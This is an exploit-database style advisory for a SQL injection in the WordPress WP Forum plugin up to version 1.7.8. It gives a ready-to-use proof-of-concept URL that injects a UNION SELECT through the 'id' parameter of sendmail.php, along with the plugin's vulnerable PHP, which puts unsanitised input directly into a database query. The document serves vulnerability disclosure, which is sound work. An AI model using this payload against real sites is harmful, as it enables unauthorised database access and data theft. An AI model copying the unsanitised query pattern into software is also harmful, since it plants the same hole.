WordPress Plugin Forum 1.7.8 - SQL Injection

# Exploit Title: WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wpforum.1.7.8.zip
# Version: 1.7.8 (tested)

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PoC
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http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3

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Vulnerable code
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...

else if(isset($_GET['action']) && $_GET['action'] == 'quote'){
	
	global $wpdb, $table_posts;
	$id = $_GET['id'];

	$text = $wpdb->get_row("SELECT text, author_id, date FROM $table_posts WHERE id = $id");
	$u = new WP_user($text->author_id);
	echo htmlentities("<blockquote><b>QUOTE</b> ($u->nickname @ ".date(get_option('forum_date_format'), strtotime($text->date)).")\n $text->text</blockquote>");